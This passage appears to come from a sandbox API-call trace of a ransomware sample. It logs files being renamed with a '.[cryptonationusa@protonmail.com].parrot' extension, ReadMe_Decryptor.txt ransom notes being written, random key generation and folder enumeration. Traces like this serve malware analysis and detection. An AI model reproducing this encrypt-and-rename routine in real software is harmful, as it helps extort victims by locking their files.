Pictures\\Jellyfish.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6822c0 | out: hHeap=0x5b0000) returned 1 [0110.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.445] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.570] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6822c0 | out: hHeap=0x5b0000) returned 1 [0110.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.666] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Lighthouse.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\lighthouse.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6822c0 | out: hHeap=0x5b0000) returned 1 [0110.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b618 [0110.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c9b0 [0110.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b90 [0110.670] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0110.670] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\public\\pictures\\sample pictures\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0110.674] GetFileType (hFile=0x258) returned 0x1 [0110.674] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0110.812] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6822c0 | out: hHeap=0x5b0000) returned 1 [0110.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.814] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b618 [0110.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c9b0 [0110.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b90 [0110.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0110.921] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6822c0 | out: hHeap=0x5b0000) returned 1 [0110.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b618 [0110.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c9b0 [0110.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b90 [0110.925] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0110.976] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), lpNewFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0110.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x686ca0 | out: hHeap=0x5b0000) returned 1 [0110.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0110.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0110.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b618 [0110.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c9b0 [0110.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b90 [0110.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0111.073] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0111.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x682838 | out: hHeap=0x5b0000) returned 1 [0111.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0111.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0111.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0111.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c9b0 [0111.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b90 [0111.080] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0113.329] CryptAcquireContextA (in: phProv=0x18fc98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18fc98*=0x5e6250) returned 1 [0113.331] CryptGenRandom (in: hProv=0x5e61c8, dwLen=0x20, pbBuffer=0x60d380 | out: pbBuffer=0x60d380) returned 1 [0113.331] CryptReleaseContext (hProv=0x5e6250, dwFlags=0x0) returned 1 [0113.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d380 | out: hHeap=0x5b0000) returned 1 [0113.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d380 [0113.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0113.331] QueryPerformanceCounter (in: lpPerformanceCount=0x18fbf0 | out: lpPerformanceCount=0x18fbf0*=25520223218) returned 1 [0113.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fc30 | out: lpSystemTimeAsFileTime=0x18fc30*(dwLowDateTime=0xd0dcdb80, dwHighDateTime=0x1d5e09d)) [0113.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0113.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x6041c0 [0113.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x604300 [0113.331] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4b90 [0113.331] GetLastError () returned 0x0 [0113.344] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.344] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.344] CloseHandle (hObject=0x258) returned 1 [0113.344] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa74313c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x263f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EXCELM~1.PAR")) returned 1 [0113.344] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.345] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.345] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.346] CloseHandle (hObject=0x258) returned 1 [0113.346] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa7561ec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EXCELM~2.PAR")) returned 1 [0113.346] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.346] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.346] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.347] CloseHandle (hObject=0x258) returned 1 [0113.347] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa702cea0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa702cea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa7d90a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0113.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0113.347] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0113.347] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.347] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.348] CloseHandle (hObject=0x258) returned 1 [0113.348] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa7d6a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0xa18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0113.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x5cce70 [0113.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0113.348] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0113.348] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0113.348] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa7d6a900, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa7d6a900, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.348] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa6df1a00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x102fdd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="EXCELL~1.PAR")) returned 1 [0113.348] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.349] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.349] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.350] CloseHandle (hObject=0x258) returned 1 [0113.350] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa92d6f00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="POWERP~2.PAR")) returned 1 [0113.350] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.350] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.350] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.351] CloseHandle (hObject=0x258) returned 1 [0113.351] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaae36c00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x431a3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PPTLRC~1.PAR")) returned 1 [0113.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.351] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.351] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.352] CloseHandle (hObject=0x258) returned 1 [0113.352] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8dee1a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xa8dee1a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xab025de0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0113.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0113.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0113.353] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.353] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.353] CloseHandle (hObject=0x258) returned 1 [0113.353] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xaaecf180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="SETUPX~1.PAR")) returned 0 [0113.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x5cce70 [0113.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2058 | out: hHeap=0x5b0000) returned 1 [0113.354] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0113.354] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0113.354] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaaecf180, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaaecf180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.354] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xa873c3c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x263518, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="POWERP~1.PAR")) returned 1 [0113.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.354] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.354] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.355] CloseHandle (hObject=0x258) returned 1 [0113.355] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xac3ef4c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PUBLIS~2.PAR")) returned 1 [0113.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x601838 [0113.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.355] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.355] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.356] CloseHandle (hObject=0x258) returned 1 [0113.356] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xad342260, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x97f50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="PUBLRC~1.PAR")) returned 1 [0113.356] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x601838 [0113.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0113.356] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0113.356] ReadFile (in: hFile=0x258, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0113.357] CloseHandle (hObject=0x258) returned 1 [0113.357] 